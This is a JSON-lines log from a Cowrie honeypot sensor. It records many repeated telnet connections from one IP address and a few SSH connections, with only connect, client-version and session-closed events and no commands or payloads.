{"eventid":"cowrie.session.closed","duration":34.35015082359314,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:59:26.346003Z","src_ip":"135.148.33.91","session":"aafd5e8b227a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40112,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff8faedcb0b0","protocol":"telnet","message":"New connection: 135.148.33.91:40112 (159.203.135.109:23) [session: ff8faedcb0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:59:31.806733Z"}
{"eventid":"cowrie.session.closed","duration":35.290714263916016,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:59:41.161373Z","src_ip":"135.148.33.91","session":"652046ee2b79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.10861945152283,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:59:41.745450Z","src_ip":"135.148.33.91","session":"84605f33b0de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49604,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c972a385bb1","protocol":"telnet","message":"New connection: 135.148.33.91:49604 (159.203.135.109:23) [session: 7c972a385bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:59:48.779541Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52868,"dst_ip":"159.203.135.109","dst_port":23,"session":"70a450192860","protocol":"telnet","message":"New connection: 135.148.33.91:52868 (159.203.135.109:23) [session: 70a450192860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:59:53.973856Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53850,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f7a29781d8e","protocol":"telnet","message":"New connection: 135.148.33.91:53850 (159.203.135.109:23) [session: 5f7a29781d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:59:54.469845Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56258,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2a73293b347","protocol":"telnet","message":"New connection: 135.148.33.91:56258 (159.203.135.109:23) [session: d2a73293b347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:59:58.721564Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58638,"dst_ip":"159.203.135.109","dst_port":23,"session":"4977276505cb","protocol":"telnet","message":"New connection: 135.148.33.91:58638 (159.203.135.109:23) [session: 4977276505cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:00:03.346408Z"}
{"eventid":"cowrie.session.closed","duration":36.34084486961365,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:00:08.147460Z","src_ip":"135.148.33.91","session":"ff8faedcb0b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38206,"dst_ip":"159.203.135.109","dst_port":23,"session":"35692139b3ba","protocol":"telnet","message":"New connection: 135.148.33.91:38206 (159.203.135.109:23) [session: 35692139b3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:00:17.867470Z"}
{"eventid":"cowrie.session.closed","duration":32.762832164764404,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:00:21.542287Z","src_ip":"135.148.33.91","session":"7c972a385bb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.36409115791321,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:00:28.337842Z","src_ip":"135.148.33.91","session":"70a450192860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.111860275268555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:00:28.581498Z","src_ip":"135.148.33.91","session":"5f7a29781d8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50686,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0543fdcac75","protocol":"telnet","message":"New connection: 135.148.33.91:50686 (159.203.135.109:23) [session: a0543fdcac75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:00:38.206045Z"}
{"eventid":"cowrie.session.closed","duration":39.99588656425476,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:00:38.717309Z","src_ip":"135.148.33.91","session":"d2a73293b347","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.32307434082031,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:00:39.669353Z","src_ip":"135.148.33.91","session":"4977276505cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55086,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ce55625fa37","protocol":"telnet","message":"New connection: 135.148.33.91:55086 (159.203.135.109:23) [session: 0ce55625fa37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:00:45.728595Z"}
{"eventid":"cowrie.session.closed","duration":35.39468431472778,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:00:53.262037Z","src_ip":"135.148.33.91","session":"35692139b3ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36288,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d643fd33eb3","protocol":"telnet","message":"New connection: 135.148.33.91:36288 (159.203.135.109:23) [session: 2d643fd33eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:03.530157Z"}
{"eventid":"cowrie.session.closed","duration":34.15083074569702,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:12.356730Z","src_ip":"135.148.33.91","session":"a0543fdcac75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.92.15.23","src_port":43460,"dst_ip":"159.203.135.109","dst_port":22,"session":"a750f7175c6c","protocol":"ssh","message":"New connection: 154.92.15.23:43460 (159.203.135.109:22) [session: a750f7175c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:13.643497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:13.648476Z","src_ip":"154.92.15.23","session":"a750f7175c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.1807816028595,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:21.909267Z","src_ip":"135.148.33.91","session":"0ce55625fa37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:22.161515Z","src_ip":"154.92.15.23","session":"a750f7175c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.188.249.20","src_port":55678,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d31419e2f44","protocol":"telnet","message":"New connection: 186.188.249.20:55678 (159.203.135.109:23) [session: 3d31419e2f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:31.699781Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50634,"dst_ip":"159.203.135.109","dst_port":23,"session":"96d2500dbfe3","protocol":"telnet","message":"New connection: 135.148.33.91:50634 (159.203.135.109:23) [session: 96d2500dbfe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:33.389937Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54518,"dst_ip":"159.203.135.109","dst_port":23,"session":"036a8609c1e3","protocol":"telnet","message":"New connection: 135.148.33.91:54518 (159.203.135.109:23) [session: 036a8609c1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:35.394361Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58444,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9bd4ae175e5","protocol":"telnet","message":"New connection: 135.148.33.91:58444 (159.203.135.109:23) [session: b9bd4ae175e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:38.939359Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58790,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5e44d40934a","protocol":"telnet","message":"New connection: 135.148.33.91:58790 (159.203.135.109:23) [session: f5e44d40934a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:39.508874Z"}
{"eventid":"cowrie.session.closed","duration":36.922860860824585,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:40.452893Z","src_ip":"135.148.33.91","session":"2d643fd33eb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.964749813079834,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:45.664438Z","src_ip":"186.188.249.20","session":"3d31419e2f44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36300,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b6ca50ed47a","protocol":"telnet","message":"New connection: 135.148.33.91:36300 (159.203.135.109:23) [session: 6b6ca50ed47a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:51.632876Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38014,"dst_ip":"159.203.135.109","dst_port":23,"session":"49213ef94d35","protocol":"telnet","message":"New connection: 135.148.33.91:38014 (159.203.135.109:23) [session: 49213ef94d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:53.469093Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38948,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d1e7695d67d","protocol":"telnet","message":"New connection: 135.148.33.91:38948 (159.203.135.109:23) [session: 0d1e7695d67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:01:54.107714Z"}
{"eventid":"cowrie.session.closed","duration":32.72394824028015,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:02:08.118185Z","src_ip":"135.148.33.91","session":"036a8609c1e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.7877733707428,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:02:09.177594Z","src_ip":"135.148.33.91","session":"96d2500dbfe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.585506439208984,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:02:13.524744Z","src_ip":"135.148.33.91","session":"b9bd4ae175e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50452,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c58d0d83acb","protocol":"telnet","message":"New connection: 135.148.33.91:50452 (159.203.135.109:23) [session: 4c58d0d83acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:02:13.878599Z"}
{"eventid":"cowrie.session.closed","duration":41.4053316116333,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:02:20.914106Z","src_ip":"135.148.33.91","session":"f5e44d40934a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.56731057167053,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:02:26.200095Z","src_ip":"135.148.33.91","session":"6b6ca50ed47a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.305081844329834,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:02:26.774056Z","src_ip":"135.148.33.91","session":"49213ef94d35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59348,"dst_ip":"159.203.135.109","dst_port":23,"session":"041dc5e99ea1","protocol":"telnet","message":"New connection: 135.148.33.91:59348 (159.203.135.109:23) [session: 041dc5e99ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:02:29.326885Z"}
{"eventid":"cowrie.session.closed","duration":35.409635066986084,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:02:29.517222Z","src_ip":"135.148.33.91","session":"0d1e7695d67d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38522,"dst_ip":"159.203.135.109","dst_port":23,"session":"48c89f5907f0","protocol":"telnet","message":"New connection: 135.148.33.91:38522 (159.203.135.109:23) [session: 48c89f5907f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:02:40.683848Z"}
{"eventid":"cowrie.session.closed","duration":34.31846737861633,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:02:48.196927Z","src_ip":"135.148.33.91","session":"4c58d0d83acb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.432934284210205,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:01.759726Z","src_ip":"135.148.33.91","session":"041dc5e99ea1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51412,"dst_ip":"159.203.135.109","dst_port":23,"session":"e52412d06090","protocol":"telnet","message":"New connection: 135.148.33.91:51412 (159.203.135.109:23) [session: e52412d06090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:03.572965Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52042,"dst_ip":"159.203.135.109","dst_port":23,"session":"5339f375cdcf","protocol":"telnet","message":"New connection: 135.148.33.91:52042 (159.203.135.109:23) [session: 5339f375cdcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:03.586117Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53220,"dst_ip":"159.203.135.109","dst_port":23,"session":"485df5040052","protocol":"telnet","message":"New connection: 135.148.33.91:53220 (159.203.135.109:23) [session: 485df5040052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:05.656825Z"}
{"eventid":"cowrie.session.closed","duration":34.826136350631714,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:15.509839Z","src_ip":"135.148.33.91","session":"48c89f5907f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60562,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c217cd3d894","protocol":"telnet","message":"New connection: 135.148.33.91:60562 (159.203.135.109:23) [session: 9c217cd3d894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:17.958911Z"}
{"eventid":"cowrie.session.closed","duration":36.053810834884644,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:39.626654Z","src_ip":"135.148.33.91","session":"e52412d06090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.143736124038696,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:40.729635Z","src_ip":"135.148.33.91","session":"5339f375cdcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45264,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc9896456da4","protocol":"telnet","message":"New connection: 135.148.33.91:45264 (159.203.135.109:23) [session: dc9896456da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:41.254000Z"}
{"eventid":"cowrie.session.closed","duration":37.00823473930359,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:42.664935Z","src_ip":"135.148.33.91","session":"485df5040052","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46804,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5b5aeaebd9f","protocol":"telnet","message":"New connection: 135.148.33.91:46804 (159.203.135.109:23) [session: a5b5aeaebd9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:42.875954Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47616,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9a070cc2084","protocol":"telnet","message":"New connection: 135.148.33.91:47616 (159.203.135.109:23) [session: a9a070cc2084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:44.286931Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51206,"dst_ip":"159.203.135.109","dst_port":23,"session":"d60c0f95a188","protocol":"telnet","message":"New connection: 135.148.33.91:51206 (159.203.135.109:23) [session: d60c0f95a188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:51.189677Z"}
{"eventid":"cowrie.session.closed","duration":37.187105655670166,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:03:55.145888Z","src_ip":"135.148.33.91","session":"9c217cd3d894","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58124,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1c8d5b0fadc","protocol":"telnet","message":"New connection: 135.148.33.91:58124 (159.203.135.109:23) [session: a1c8d5b0fadc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:04:02.825313Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60374,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8ce4ad1aea8","protocol":"telnet","message":"New connection: 135.148.33.91:60374 (159.203.135.109:23) [session: d8ce4ad1aea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:04:05.856018Z"}
{"eventid":"cowrie.session.closed","duration":33.214784145355225,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:04:14.468644Z","src_ip":"135.148.33.91","session":"dc9896456da4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.45768404006958,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:04:16.333490Z","src_ip":"135.148.33.91","session":"a5b5aeaebd9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.084083795547485,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:04:22.370909Z","src_ip":"135.148.33.91","session":"a9a070cc2084","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.337605237960815,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:04:24.527152Z","src_ip":"135.148.33.91","session":"d60c0f95a188","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45958,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a061ce12dbd","protocol":"telnet","message":"New connection: 135.148.33.91:45958 (159.203.135.109:23) [session: 5a061ce12dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:04:29.952456Z"}
{"eventid":"cowrie.session.closed","duration":34.84234118461609,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:04:37.667331Z","src_ip":"135.148.33.91","session":"a1c8d5b0fadc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.935301780700684,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:04:42.791210Z","src_ip":"135.148.33.91","session":"d8ce4ad1aea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.146535873413086,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:05:03.098914Z","src_ip":"135.148.33.91","session":"5a061ce12dbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41646,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffb688da55e0","protocol":"telnet","message":"New connection: 135.148.33.91:41646 (159.203.135.109:23) [session: ffb688da55e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:05:10.286011Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54984,"dst_ip":"159.203.135.109","dst_port":23,"session":"43262ede9140","protocol":"telnet","message":"New connection: 135.148.33.91:54984 (159.203.135.109:23) [session: 43262ede9140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:05:33.131593Z"}
{"eventid":"cowrie.session.closed","duration":35.15194535255432,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:05:45.437573Z","src_ip":"135.148.33.91","session":"ffb688da55e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34290,"dst_ip":"159.203.135.109","dst_port":23,"session":"3effc30f7413","protocol":"telnet","message":"New connection: 135.148.33.91:34290 (159.203.135.109:23) [session: 3effc30f7413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:05:45.560860Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34424,"dst_ip":"159.203.135.109","dst_port":23,"session":"579b65dbfa81","protocol":"telnet","message":"New connection: 135.148.33.91:34424 (159.203.135.109:23) [session: 579b65dbfa81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:05:48.787362Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39036,"dst_ip":"159.203.135.109","dst_port":23,"session":"851c85914d97","protocol":"telnet","message":"New connection: 135.148.33.91:39036 (159.203.135.109:23) [session: 851c85914d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:06:00.625338Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44268,"dst_ip":"159.203.135.109","dst_port":23,"session":"54774242e33c","protocol":"telnet","message":"New connection: 135.148.33.91:44268 (159.203.135.109:23) [session: 54774242e33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:06:03.215945Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45228,"dst_ip":"159.203.135.109","dst_port":23,"session":"4342e648bdc3","protocol":"telnet","message":"New connection: 135.148.33.91:45228 (159.203.135.109:23) [session: 4342e648bdc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:06:06.707246Z"}
{"eventid":"cowrie.session.closed","duration":34.549699783325195,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:06:07.681163Z","src_ip":"135.148.33.91","session":"43262ede9140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52550,"dst_ip":"159.203.135.109","dst_port":23,"session":"508249f6db12","protocol":"telnet","message":"New connection: 135.148.33.91:52550 (159.203.135.109:23) [session: 508249f6db12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:06:15.522805Z"}
{"eventid":"cowrie.session.closed","duration":30.365530729293823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:06:19.152784Z","src_ip":"135.148.33.91","session":"579b65dbfa81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.80140542984009,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:06:21.362105Z","src_ip":"135.148.33.91","session":"3effc30f7413","protocol":"telnet"}
